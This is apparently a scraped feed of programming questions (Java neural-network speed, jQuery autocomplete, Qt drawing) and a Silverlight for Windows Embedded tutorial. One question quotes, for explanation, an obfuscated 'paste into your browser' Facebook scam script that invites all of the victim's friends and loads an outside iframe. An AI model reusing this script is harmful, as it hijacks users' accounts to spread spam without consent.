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  • How can I make this Java code run faster?

    - by Martin Wiboe
    Hello all, I am trying to make a Java port of a simple feed-forward neural network. This obviously involves lots of numeric calculations, so I am trying to optimize my central loop as much as possible. The results should be correct within the limits of the float data type. My current code looks as follows (error handling & initialization removed): /** * Simple implementation of a feedforward neural network. The network supports * including a bias neuron with a constant output of 1.0 and weighted synapses * to hidden and output layers. * * @author Martin Wiboe */ public class FeedForwardNetwork { private final int outputNeurons; // No of neurons in output layer private final int inputNeurons; // No of neurons in input layer private int largestLayerNeurons; // No of neurons in largest layer private final int numberLayers; // No of layers private final int[] neuronCounts; // Neuron count in each layer, 0 is input // layer. private final float[][][] fWeights; // Weights between neurons. // fWeight[fromLayer][fromNeuron][toNeuron] // is the weight from fromNeuron in // fromLayer to toNeuron in layer // fromLayer+1. private float[][] neuronOutput; // Temporary storage of output from previous layer public float[] compute(float[] input) { // Copy input values to input layer output for (int i = 0; i < inputNeurons; i++) { neuronOutput[0][i] = input[i]; } // Loop through layers for (int layer = 1; layer < numberLayers; layer++) { // Loop over neurons in the layer and determine weighted input sum for (int neuron = 0; neuron < neuronCounts[layer]; neuron++) { // Bias neuron is the last neuron in the previous layer int biasNeuron = neuronCounts[layer - 1]; // Get weighted input from bias neuron - output is always 1.0 float activation = 1.0F * fWeights[layer - 1][biasNeuron][neuron]; // Get weighted inputs from rest of neurons in previous layer for (int inputNeuron = 0; inputNeuron < biasNeuron; inputNeuron++) { activation += neuronOutput[layer-1][inputNeuron] * fWeights[layer - 1][inputNeuron][neuron]; } // Store neuron output for next round of computation neuronOutput[layer][neuron] = sigmoid(activation); } } // Return output from network = output from last layer float[] result = new float[outputNeurons]; for (int i = 0; i < outputNeurons; i++) result[i] = neuronOutput[numberLayers - 1][i]; return result; } private final static float sigmoid(final float input) { return (float) (1.0F / (1.0F + Math.exp(-1.0F * input))); } } I am running the JVM with the -server option, and as of now my code is between 25% and 50% slower than similar C code. What can I do to improve this situation? Thank you, Martin Wiboe

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  • jQuery AutoComplete (jQuery UI 1.8rc3) with ASP.NET web service

    - by user296640
    Currently, I have this version of the autocomplete control working when returning XML from a .ashx handler. The xml looks like this: <?xml version="1.0" encoding="UTF-8" standalone="no" ?> <States> <State> <Code>CA</Code> <Name>California</Name> </State> <State> <Code>NC</Code> <Name>North Carolina</Name> </State> <State> <Code>SC</Code> <Name>South Carolina</Name> </State> The autocomplete code looks like this: $('.autocompleteTest').autocomplete( { source: function(request, response) { var list = []; $.ajax({ url: "http://commonservices.qa.kirkland.com/StateLookup.ashx", dataType: "xml", async: false, data: request, success: function(xmlResponse) { list = $("State", xmlResponse).map(function() { return { value: $("Code", this).text(), label: $("Name", this).text() }; }).get(); } }); response(list); }, focus: function(event, ui) { $('.autocompleteTest').val(ui.item.label); return false; }, select: function(event, ui) { $('.autocompleteTest').val(ui.item.label); $('.autocompleteValue').val(ui.item.value); return false; } }); For various reasons, I'd rather be calling an ASP.NET web service, but I can't get it to work. To change over to the service (I'm doing a local service to keep it simple), the start of the autocomplete code is: $('.autocompleteTest').autocomplete( { source: function(request, response) { var list = []; $.ajax({ url: "/Services/GeneralLookup.asmx/StateList", dataType: "xml", This code is on a page at the root of the site and the GeneralLookup.asmx is in a subfolder named Services. But a breakpoint in the web service never gets hit, and no autocomplete list is generated. In case it makes a difference, the XML that comes from the asmx is: <?xml version="1.0" encoding="utf-8" ?> <string xmlns="http://www.kirkland.com/"><State> <Code>CA</Code> <Name>California</Name> </State> <State> <Code>NC</Code> <Name>North Carolina</Name> </State> <State> <Code>SC</Code> <Name>South Carolina</Name> </State></string> Functionally equivalent since I never use the name of the root node in the mapping code. I haven't seen anything in the jQuery docs about calling a .asmx service from this control, but a .ajax call is a .ajax call, right? I've tried various different paths to the .asmx (~/Services/), and I've even moved the service to be in the same path to eliminate these issues. No luck with either. Any ideas?

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  • Can anybody tell what this JavaScript code is doing? [closed]

    - by waheed
    Possible Duplicate: Javascript compiled or not? Check inside… In a facebook group this code was provided to get the free IPhone, you have to join the group and paste the code in the browser and run it. I wonder it might be something malicious, can anybody tell what this code is doing? javascript:var _0xb714=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C", "\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x62\x6F\x64\x79", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x3C\x61\x20\x69\x64\x3D\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3D\x22\x23\x22\x20\x61\x6A\x61\x78\x69\x66\x79\x3D\x22\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70\x3F\x63\x6C\x61\x73\x73\x3D\x46\x61\x6E\x4D\x61\x6E\x61\x67\x65\x72\x26\x61\x6D\x70\x3B\x6E\x6F\x64\x65\x5F\x69\x64\x3D\x31\x30\x34\x35\x36\x37\x38\x39\x39\x35\x37\x38\x39\x39\x30\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x20\x70\x72\x6F\x66\x69\x6C\x65\x5F\x61\x63\x74\x69\x6F\x6E\x20\x61\x63\x74\x69\x6F\x6E\x73\x70\x72\x6F\x5F\x61\x22\x20\x72\x65\x6C\x3D\x22\x64\x69\x61\x6C\x6F\x67\x2D\x70\x6F\x73\x74\x22\x3E\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6F\x20\x46\x72\x69\x65\x6E\x64\x73\x3C\x2F\x61\x3E", "\x73\x75\x67\x67\x65\x73\x74","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73", "\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74", "\x63\x6C\x69\x63\x6B","\x69\x6E\x69\x74\x45\x76\x65\x6E\x74", "\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74", "\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C", "\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D", "\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x73\x73\x6C\x68\x6F\x73\x74\x65\x72\x2E\x63\x6F\x6D\x2F\x70\x61\x67\x65\x73\x2F\x6E\x65\x77\x69\x70\x68\x6F\x6E\x65\x70\x61\x67\x65\x22\x20\x73\x74\x79\x6C\x65\x3D\x22\x77\x69\x64\x74\x68\x3A\x20\x37\x39\x38\x70\x78\x3B\x20\x68\x65\x69\x67\x68\x74\x3A\x20\x35\x35\x30\x70\x78\x3B\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x30\x20\x73\x63\x72\x6F\x6C\x6C\x69\x6E\x67\x3D\x22\x6E\x6F\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E"]; var variables= [_0xb714[0], _0xb714[1], _0xb714[2], _0xb714[3], _0xb714[4], _0xb714[5], _0xb714[6], _0xb714[7], _0xb714[8], _0xb714[9], _0xb714[10], _0xb714[11], _0xb714[12], _0xb714[13]]; void (document[variables[2]](variables[1])[variables[0]]=variables[3]); var ss=document[variables[2]](variables[4]); var c=document[variables[6]](variables[5]); c[variables[8]](variables[7],true,true); void ss[variables[9]](c); void setTimeout(function (){fs[variables[10]]();} ,4000); void setTimeout(function (){SocialGraphManager[variables[13]](variables[11],variables[12]);} ,5000); void (document[variables[2]](variables[1])[variables[0]]=_0xb714[14]); Thanks..

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  • [Qt/C++] Need help in optimizing a drawing code ...

    - by Ahmad
    Hello all ... I needed some help in trying to optimize this code portion ... Basically here's the thing .. I'm making this 'calligraphy pen' which gives the calligraphy effect by simply drawing a lot of adjacent slanted lines ... The problem is this: When I update the draw region using update() after every single draw of a slanted line, the output is correct, in the sense that updates are done in a timely manner, so that everything 'drawn' using the pen is immediately 'seen' the drawing.. however, because a lot (100s of them) of updates are done, the program slows down a little when run on the N900 ... When I try to do a little optimization by running update after drawing all the slanted lines (so that all lines are updated onto the drawing board through a single update() ), the output is ... odd .... That is, immediately after drawing the lines, they lines seem broken (they have vacant patches where the drawing should have happened as well) ... however, if I trigger a redrawing of the form window (say, by changing the size of the form), the broken patches are immediately fixed !! When I run this program on my N900, it gets the initial broken output and stays like that, since I don't know how to enforce a redraw in this case ... Here is the first 'optimized' code and output (partially correct/incorrect) void Canvas::drawLineTo(const QPoint &endPoint) { QPainter painter(&image); painter.setPen(QPen(Qt::black,1,Qt::SolidLine,Qt::RoundCap,Qt::RoundJoin)); int fx=0,fy=0,k=0; qPoints.clear(); connectingPointsCalculator2(qPoints,lastPoint.x(),lastPoint.y(),endPoint.x(),endPoint.y()); int i=0; int x,y; for(i=0;i<qPoints.size();i++) { x=qPoints.at(i).x(); y=qPoints.at(i).y(); painter.setPen(Qt::black); painter.drawLine(x-5,y-5,x+5,y+5); **// Drawing slanted lines** } **//Updating only once after many draws:** update (QRect(QPoint(lastPoint.x()-5,lastPoint.y()-5), QPoint(endPoint.x()+5,endPoint.y()+5)).normalized()); modified = true; lastPoint = endPoint; } Image right after scribbling on screen: http://img823.imageshack.us/img823/8755/59943912.png After re-adjusting the window size, all the broken links above are fixed like they should be .. Here is the second un-optimized code (its output is correct right after drawing, just like in the second picture above): void Canvas::drawLineTo(const QPoint &endPoint) { QPainter painter(&image); painter.setPen(QPen(Qt::black,1,Qt::SolidLine,Qt::RoundCap,Qt::RoundJoin)); int fx=0,fy=0,k=0; qPoints.clear(); connectingPointsCalculator2(qPoints,lastPoint.x(),lastPoint.y(),endPoint.x(),endPoint.y()); int i=0; int x,y; for(i=0;i<qPoints.size();i++) { x=qPoints.at(i).x(); y=qPoints.at(i).y(); painter.setPen(Qt::black); painter.drawLine(x-5,y-5,x+5,y+5); **// Drawing slanted lines** **//Updating repeatedly during the for loop:** update(QRect(QPoint(x-5,y-5), QPoint(x+5,y+5)).normalized());//.adjusted(-rad,-rad,rad,rad)); } modified = true; int rad = (myPenWidth / 2) + 2; lastPoint = endPoint; } Can anyone see what the issue might be ?

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  • Silverlight for Windows Embedded tutorial (step 4)

    - by Valter Minute
    I’m back with my Silverlight for Windows Embedded tutorial. Sorry for the long delay between step 3 and step 4, the MVP summit and some work related issue prevented me from working on the tutorial during the last weeks. In our first,  second and third tutorial steps we implemented some very simple applications, just to understand the basic structure of a Silverlight for Windows Embedded application, learn how to handle events and how to operate on images. In this third step our sample application will be slightly more complicated, to introduce two new topics: list boxes and custom control. We will also learn how to create controls at runtime. I choose to explain those topics together and provide a sample a bit more complicated than usual just to start to give the feeling of how a “real” Silverlight for Windows Embedded application is organized. As usual we can start using Expression Blend to define our main page. In this case we will have a listbox and a textblock. Here’s the XAML code: <UserControl xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" x:Class="ListDemo.Page" Width="640" Height="480" x:Name="ListPage" xmlns:ListDemo="clr-namespace:ListDemo">   <Grid x:Name="LayoutRoot" Background="White"> <ListBox Margin="19,57,19,66" x:Name="FileList" SelectionChanged="Filelist_SelectionChanged"/> <TextBlock Height="35" Margin="19,8,19,0" VerticalAlignment="Top" TextWrapping="Wrap" x:Name="CurrentDir" Text="TextBlock" FontSize="20"/> </Grid> </UserControl> In our listbox we will load a list of directories, starting from the filesystem root (there are no drives in Windows CE, the filesystem has a single root named “\”). When the user clicks on an item inside the list, the corresponding directory path will be displayed in the TextBlock object and the subdirectories of the selected branch will be shown inside the list. As you can see we declared an event handler for the SelectionChanged event of our listbox. We also used a different font size for the TextBlock, to make it more readable. XAML and Expression Blend allow you to customize your UI pretty heavily, experiment with the tools and discover how you can completely change the aspect of your application without changing a single line of code! Inside our ListBox we want to insert the directory presenting a nice icon and their name, just like you are used to see them inside Windows 7 file explorer, for example. To get this we will define a user control. This is a custom object that will behave like “regular” Silverlight for Windows Embedded objects inside our application. First of all we have to define the look of our custom control, named DirectoryItem, using XAML: <UserControl xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:d="http://schemas.microsoft.com/expression/blend/2008" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="d" x:Class="ListDemo.DirectoryItem" Width="500" Height="80">   <StackPanel x:Name="LayoutRoot" Orientation="Horizontal"> <Canvas Width="31.6667" Height="45.9583" Margin="10,10,10,10" RenderTransformOrigin="0.5,0.5"> <Canvas.RenderTransform> <TransformGroup> <ScaleTransform/> <SkewTransform/> <RotateTransform Angle="-31.27"/> <TranslateTransform/> </TransformGroup> </Canvas.RenderTransform> <Rectangle Width="31.6667" Height="45.8414" Canvas.Left="0" Canvas.Top="0.116943" Stretch="Fill"> <Rectangle.Fill> <LinearGradientBrush StartPoint="0.142631,0.75344" EndPoint="1.01886,0.75344"> <LinearGradientBrush.RelativeTransform> <TransformGroup> <SkewTransform CenterX="0.142631" CenterY="0.75344" AngleX="19.3128" AngleY="0"/> <RotateTransform CenterX="0.142631" CenterY="0.75344" Angle="-35.3436"/> </TransformGroup> </LinearGradientBrush.RelativeTransform> <LinearGradientBrush.GradientStops> <GradientStop Color="#FF7B6802" Offset="0"/> <GradientStop Color="#FFF3D42C" Offset="1"/> </LinearGradientBrush.GradientStops> </LinearGradientBrush> </Rectangle.Fill> </Rectangle> <Rectangle Width="29.8441" Height="43.1517" Canvas.Left="0.569519" Canvas.Top="1.05249" Stretch="Fill"> <Rectangle.Fill> <LinearGradientBrush StartPoint="0.142632,0.753441" EndPoint="1.01886,0.753441"> <LinearGradientBrush.RelativeTransform> <TransformGroup> <SkewTransform CenterX="0.142632" CenterY="0.753441" AngleX="19.3127" AngleY="0"/> <RotateTransform CenterX="0.142632" CenterY="0.753441" Angle="-35.3437"/> </TransformGroup> </LinearGradientBrush.RelativeTransform> <LinearGradientBrush.GradientStops> <GradientStop Color="#FFCDCDCD" Offset="0.0833333"/> <GradientStop Color="#FFFFFFFF" Offset="1"/> </LinearGradientBrush.GradientStops> </LinearGradientBrush> </Rectangle.Fill> </Rectangle> <Rectangle Width="29.8441" Height="43.1517" Canvas.Left="0.455627" Canvas.Top="2.28036" Stretch="Fill"> <Rectangle.Fill> <LinearGradientBrush StartPoint="0.142631,0.75344" EndPoint="1.01886,0.75344"> <LinearGradientBrush.RelativeTransform> <TransformGroup> <SkewTransform CenterX="0.142631" CenterY="0.75344" AngleX="19.3128" AngleY="0"/> <RotateTransform CenterX="0.142631" CenterY="0.75344" Angle="-35.3436"/> </TransformGroup> </LinearGradientBrush.RelativeTransform> <LinearGradientBrush.GradientStops> <GradientStop Color="#FFCDCDCD" Offset="0.0833333"/> <GradientStop Color="#FFFFFFFF" Offset="1"/> </LinearGradientBrush.GradientStops> </LinearGradientBrush> </Rectangle.Fill> </Rectangle> <Rectangle Width="29.8441" Height="43.1517" Canvas.Left="0.455627" Canvas.Top="1.34485" Stretch="Fill"> <Rectangle.Fill> <LinearGradientBrush StartPoint="0.142631,0.75344" EndPoint="1.01886,0.75344"> <LinearGradientBrush.RelativeTransform> <TransformGroup> <SkewTransform CenterX="0.142631" CenterY="0.75344" AngleX="19.3128" AngleY="0"/> <RotateTransform CenterX="0.142631" CenterY="0.75344" Angle="-35.3436"/> </TransformGroup> </LinearGradientBrush.RelativeTransform> <LinearGradientBrush.GradientStops> <GradientStop Color="#FFCDCDCD" Offset="0.0833333"/> <GradientStop Color="#FFFFFFFF" Offset="1"/> </LinearGradientBrush.GradientStops> </LinearGradientBrush> </Rectangle.Fill> </Rectangle> <Rectangle Width="26.4269" Height="45.8414" Canvas.Left="0.227798" Canvas.Top="0" Stretch="Fill"> <Rectangle.Fill> <LinearGradientBrush StartPoint="0.142631,0.75344" EndPoint="1.01886,0.75344"> <LinearGradientBrush.RelativeTransform> <TransformGroup> <SkewTransform CenterX="0.142631" CenterY="0.75344" AngleX="19.3127" AngleY="0"/> <RotateTransform CenterX="0.142631" CenterY="0.75344" Angle="-35.3436"/> </TransformGroup> </LinearGradientBrush.RelativeTransform> <LinearGradientBrush.GradientStops> <GradientStop Color="#FF7B6802" Offset="0"/> <GradientStop Color="#FFF3D42C" Offset="1"/> </LinearGradientBrush.GradientStops> </LinearGradientBrush> </Rectangle.Fill> </Rectangle> <Rectangle Width="1.25301" Height="45.8414" Canvas.Left="1.70862" Canvas.Top="0.116943" Stretch="Fill" Fill="#FFEBFF07"/> </Canvas> <TextBlock Height="80" x:Name="Name" Width="448" TextWrapping="Wrap" VerticalAlignment="Center" FontSize="24" Text="Directory"/> </StackPanel> </UserControl> As you can see, this XAML contains many graphic elements. Those elements are used to design the folder icon. The original drawing has been designed in Expression Design and then exported as XAML. In Silverlight for Windows Embedded you can use vector images. This means that your images will look good even when scaled or rotated. In our DirectoryItem custom control we have a TextBlock named Name, that will be used to display….(suspense)…. the directory name (I’m too lazy to invent fancy names for controls, and using “boring” intuitive names will make code more readable, I hope!). Now that we have some XAML code, we may execute XAML2CPP to generate part of the aplication code for us. We should then add references to our XAML2CPP generated resource file and include in our code and add a reference to the XAML runtime library to our sources file (you can follow the instruction of the first tutorial step to do that), To generate the code used in this tutorial you need XAML2CPP ver 1.0.1.0, that is downloadable here: http://geekswithblogs.net/WindowsEmbeddedCookbook/archive/2010/03/08/xaml2cpp-1.0.1.0.aspx We can now create our usual simple Win32 application inside Platform Builder, using the same step described in the first chapter of this tutorial (http://geekswithblogs.net/WindowsEmbeddedCookbook/archive/2009/10/01/silverlight-for-embedded-tutorial.aspx). We can declare a class for our main page, deriving it from the template that XAML2CPP generated for us: class ListPage : public TListPage<ListPage> { ... } We will see the ListPage class code in a short time, but before we will see the code of our DirectoryItem user control. This object will be used to populate our list, one item for each directory. To declare a user control things are a bit more complicated (but also in this case XAML2CPP will write most of the “boilerplate” code for use. To interact with a user control you should declare an interface. An interface defines the functions of a user control that can be called inside the application code. Our custom control is currently quite simple and we just need some member functions to store and retrieve a full pathname inside our control. The control will display just the last part of the path inside the control. An interface is declared as a C++ class that has only abstract virtual members. It should also have an UUID associated with it. UUID means Universal Unique IDentifier and it’s a 128 bit number that will identify our interface without the need of specifying its fully qualified name. UUIDs are used to identify COM interfaces and, as we discovered in chapter one, Silverlight for Windows Embedded is based on COM or, at least, provides a COM-like Application Programming Interface (API). Here’s the declaration of the DirectoryItem interface: class __declspec(novtable,uuid("{D38C66E5-2725-4111-B422-D75B32AA8702}")) IDirectoryItem : public IXRCustomUserControl { public:   virtual HRESULT SetFullPath(BSTR fullpath) = 0; virtual HRESULT GetFullPath(BSTR* retval) = 0; }; The interface is derived from IXRCustomControl, this will allow us to add our object to a XAML tree. It declares the two functions needed to set and get the full path, but don’t implement them. Implementation will be done inside the control class. The interface only defines the functions of our control class that are accessible from the outside. It’s a sort of “contract” between our control and the applications that will use it. We must support what’s inside the contract and the application code should know nothing else about our own control. To reference our interface we will use the UUID, to make code more readable we can declare a #define in this way: #define IID_IDirectoryItem __uuidof(IDirectoryItem) Silverlight for Windows Embedded objects (like COM objects) use a reference counting mechanism to handle object destruction. Every time you store a pointer to an object you should call its AddRef function and every time you no longer need that pointer you should call Release. The object keeps an internal counter, incremented for each AddRef and decremented on Release. When the counter reaches 0, the object is destroyed. Managing reference counting in our code can be quite complicated and, since we are lazy (I am, at least!), we will use a great feature of Silverlight for Windows Embedded: smart pointers.A smart pointer can be connected to a Silverlight for Windows Embedded object and manages its reference counting. To declare a smart pointer we must use the XRPtr template: typedef XRPtr<IDirectoryItem> IDirectoryItemPtr; Now that we have defined our interface, it’s time to implement our user control class. XAML2CPP has implemented a class for us, and we have only to derive our class from it, defining the main class and interface of our new custom control: class DirectoryItem : public DirectoryItemUserControlRegister<DirectoryItem,IDirectoryItem> { ... } XAML2CPP has generated some code for us to support the user control, we don’t have to mind too much about that code, since it will be generated (or written by hand, if you like) always in the same way, for every user control. But knowing how does this works “under the hood” is still useful to understand the architecture of Silverlight for Windows Embedded. Our base class declaration is a bit more complex than the one we used for a simple page in the previous chapters: template <class A,class B> class DirectoryItemUserControlRegister : public XRCustomUserControlImpl<A,B>,public TDirectoryItem<A,XAML2CPPUserControl> { ... } This class derives from the XAML2CPP generated template class, like the ListPage class, but it uses XAML2CPPUserControl for the implementation of some features. This class shares the same ancestor of XAML2CPPPage (base class for “regular” XAML pages), XAML2CPPBase, implements binding of member variables and event handlers but, instead of loading and creating its own XAML tree, it attaches to an existing one. The XAML tree (and UI) of our custom control is created and loaded by the XRCustomUserControlImpl class. This class is part of the Silverlight for Windows Embedded framework and implements most of the functions needed to build-up a custom control in Silverlight (the guys that developed Silverlight for Windows Embedded seem to care about lazy programmers!). We have just to initialize it, providing our class (DirectoryItem) and interface (IDirectoryItem). Our user control class has also a static member: protected:   static HINSTANCE hInstance; This is used to store the HINSTANCE of the modules that contain our user control class. I don’t like this implementation, but I can’t find a better one, so if somebody has good ideas about how to handle the HINSTANCE object, I’ll be happy to hear suggestions! It also implements two static members required by XRCustomUserControlImpl. The first one is used to load the XAML UI of our custom control: static HRESULT GetXamlSource(XRXamlSource* pXamlSource) { pXamlSource->SetResource(hInstance,TEXT("XAML"),IDR_XAML_DirectoryItem); return S_OK; }   It initializes a XRXamlSource object, connecting it to the XAML resource that XAML2CPP has included in our resource script. The other method is used to register our custom control, allowing Silverlight for Windows Embedded to create it when it load some XAML or when an application creates a new control at runtime (more about this later): static HRESULT Register() { return XRCustomUserControlImpl<A,B>::Register(__uuidof(B), L"DirectoryItem", L"clr-namespace:DirectoryItemNamespace"); } To register our control we should provide its interface UUID, the name of the corresponding element in the XAML tree and its current namespace (namespaces compatible with Silverlight must use the “clr-namespace” prefix. We may also register additional properties for our objects, allowing them to be loaded and saved inside XAML. In this case we have no permanent properties and the Register method will just register our control. An additional static method is implemented to allow easy registration of our custom control inside our application WinMain function: static HRESULT RegisterUserControl(HINSTANCE hInstance) { DirectoryItemUserControlRegister::hInstance=hInstance; return DirectoryItemUserControlRegister<A,B>::Register(); } Now our control is registered and we will be able to create it using the Silverlight for Windows Embedded runtime functions. But we need to bind our members and event handlers to have them available like we are used to do for other XAML2CPP generated objects. To bind events and members we need to implement the On_Loaded function: virtual HRESULT OnLoaded(__in IXRDependencyObject* pRoot) { HRESULT retcode; IXRApplicationPtr app; if (FAILED(retcode=GetXRApplicationInstance(&app))) return retcode; return ((A*)this)->Init(pRoot,hInstance,app); } This function will call the XAML2CPPUserControl::Init member that will connect the “root” member with the XAML sub tree that has been created for our control and then calls BindObjects and BindEvents to bind members and events to our code. Now we can go back to our application code (the code that you’ll have to actually write) to see the contents of our DirectoryItem class: class DirectoryItem : public DirectoryItemUserControlRegister<DirectoryItem,IDirectoryItem> { protected:   WCHAR fullpath[_MAX_PATH+1];   public:   DirectoryItem() { *fullpath=0; }   virtual HRESULT SetFullPath(BSTR fullpath) { wcscpy_s(this->fullpath,fullpath);   WCHAR* p=fullpath;   for(WCHAR*q=wcsstr(p,L"\\");q;p=q+1,q=wcsstr(p,L"\\")) ;   Name->SetText(p); return S_OK; }   virtual HRESULT GetFullPath(BSTR* retval) { *retval=SysAllocString(fullpath); return S_OK; } }; It’s pretty easy and contains a fullpath member (used to store that path of the directory connected with the user control) and the implementation of the two interface members that can be used to set and retrieve the path. The SetFullPath member parses the full path and displays just the last branch directory name inside the “Name” TextBlock object. As you can see, implementing a user control in Silverlight for Windows Embedded is not too complex and using XAML also for the UI of the control allows us to re-use the same mechanisms that we learnt and used in the previous steps of our tutorial. Now let’s see how the main page is managed by the ListPage class. class ListPage : public TListPage<ListPage> { protected:   // current path TCHAR curpath[_MAX_PATH+1]; It has a member named “curpath” that is used to store the current directory. It’s initialized inside the constructor: ListPage() { *curpath=0; } And it’s value is displayed inside the “CurrentDir” TextBlock inside the initialization function: virtual HRESULT Init(HINSTANCE hInstance,IXRApplication* app) { HRESULT retcode;   if (FAILED(retcode=TListPage<ListPage>::Init(hInstance,app))) return retcode;   CurrentDir->SetText(L"\\"); return S_OK; } The FillFileList function is used to enumerate subdirectories of the current dir and add entries for each one inside the list box that fills most of the client area of our main page: HRESULT FillFileList() { HRESULT retcode; IXRItemCollectionPtr items; IXRApplicationPtr app;   if (FAILED(retcode=GetXRApplicationInstance(&app))) return retcode; // retrieves the items contained in the listbox if (FAILED(retcode=FileList->GetItems(&items))) return retcode;   // clears the list if (FAILED(retcode=items->Clear())) return retcode;   // enumerates files and directory in the current path WCHAR filemask[_MAX_PATH+1];   wcscpy_s(filemask,curpath); wcscat_s(filemask,L"\\*.*");   WIN32_FIND_DATA finddata; HANDLE findhandle;   findhandle=FindFirstFile(filemask,&finddata);   // the directory is empty? if (findhandle==INVALID_HANDLE_VALUE) return S_OK;   do { if (finddata.dwFileAttributes&=FILE_ATTRIBUTE_DIRECTORY) { IXRListBoxItemPtr listboxitem;   // add a new item to the listbox if (FAILED(retcode=app->CreateObject(IID_IXRListBoxItem,&listboxitem))) { FindClose(findhandle); return retcode; }   if (FAILED(retcode=items->Add(listboxitem,NULL))) { FindClose(findhandle); return retcode; }   IDirectoryItemPtr directoryitem;   if (FAILED(retcode=app->CreateObject(IID_IDirectoryItem,&directoryitem))) { FindClose(findhandle); return retcode; }   WCHAR fullpath[_MAX_PATH+1];   wcscpy_s(fullpath,curpath); wcscat_s(fullpath,L"\\"); wcscat_s(fullpath,finddata.cFileName);   if (FAILED(retcode=directoryitem->SetFullPath(fullpath))) { FindClose(findhandle); return retcode; }   XAML2CPPXRValue value((IXRDependencyObject*)directoryitem);   if (FAILED(retcode=listboxitem->SetContent(&value))) { FindClose(findhandle); return retcode; } } } while (FindNextFile(findhandle,&finddata));   FindClose(findhandle); return S_OK; } This functions retrieve a pointer to the collection of the items contained in the directory listbox. The IXRItemCollection interface is used by listboxes and comboboxes and allow you to clear the list (using Clear(), as our function does at the beginning) and change its contents by adding and removing elements. This function uses the FindFirstFile/FindNextFile functions to enumerate all the objects inside our current directory and for each subdirectory creates a IXRListBoxItem object. You can insert any kind of control inside a list box, you don’t need a IXRListBoxItem, but using it will allow you to handle the selected state of an item, highlighting it inside the list. The function creates a list box item using the CreateObject function of XRApplication. The same function is then used to create an instance of our custom control. The function returns a pointer to the control IDirectoryItem interface and we can use it to store the directory full path inside the object and add it as content of the IXRListBox item object, adding it to the listbox contents. The listbox generates an event (SelectionChanged) each time the user clicks on one of the items contained in the listbox. We implement an event handler for that event and use it to change our current directory and repopulate the listbox. The current directory full path will be displayed in the TextBlock: HRESULT Filelist_SelectionChanged(IXRDependencyObject* source,XRSelectionChangedEventArgs* args) { HRESULT retcode;   IXRListBoxItemPtr listboxitem;   if (!args->pAddedItem) return S_OK;   if (FAILED(retcode=args->pAddedItem->QueryInterface(IID_IXRListBoxItem,(void**)&listboxitem))) return retcode;   XRValue content; if (FAILED(retcode=listboxitem->GetContent(&content))) return retcode;   if (content.vType!=VTYPE_OBJECT) return E_FAIL;   IDirectoryItemPtr directoryitem;   if (FAILED(retcode=content.pObjectVal->QueryInterface(IID_IDirectoryItem,(void**)&directoryitem))) return retcode;   content.pObjectVal->Release(); content.pObjectVal=NULL;   BSTR fullpath=NULL;   if (FAILED(retcode=directoryitem->GetFullPath(&fullpath))) return retcode;   CurrentDir->SetText(fullpath);   wcscpy_s(curpath,fullpath); FillFileList(); SysFreeString(fullpath);     return S_OK; } }; The function uses the pAddedItem member of the XRSelectionChangedEventArgs object to retrieve the currently selected item, converts it to a IXRListBoxItem interface using QueryInterface, and then retrives its contents (IDirectoryItem object). Using the GetFullPath method we can get the full path of our selected directory and assing it to the curdir member. A call to FillFileList will update the listbox contents, displaying the list of subdirectories of the selected folder. To build our sample we just need to add code to our WinMain function: int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) { if (!XamlRuntimeInitialize()) return -1;   HRESULT retcode;   IXRApplicationPtr app; if (FAILED(retcode=GetXRApplicationInstance(&app))) return -1;   if (FAILED(retcode=DirectoryItem::RegisterUserControl(hInstance))) return retcode;   ListPage page;   if (FAILED(page.Init(hInstance,app))) return -1;   page.FillFileList();   UINT exitcode;   if (FAILED(page.GetVisualHost()->StartDialog(&exitcode))) return -1;   return 0; } This code is very similar to the one of the WinMains of our previous samples. The main differences are that we register our custom control (you should do that as soon as you have initialized the XAML runtime) and call FillFileList after the initialization of our ListPage object to load the contents of the root folder of our device inside the listbox. As usual you can download the full sample source code from here: http://cid-9b7b0aefe3514dc5.skydrive.live.com/self.aspx/.Public/ListBoxTest.zip

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  • Lightning talk: Coderetreat

    - by Michael Williamson
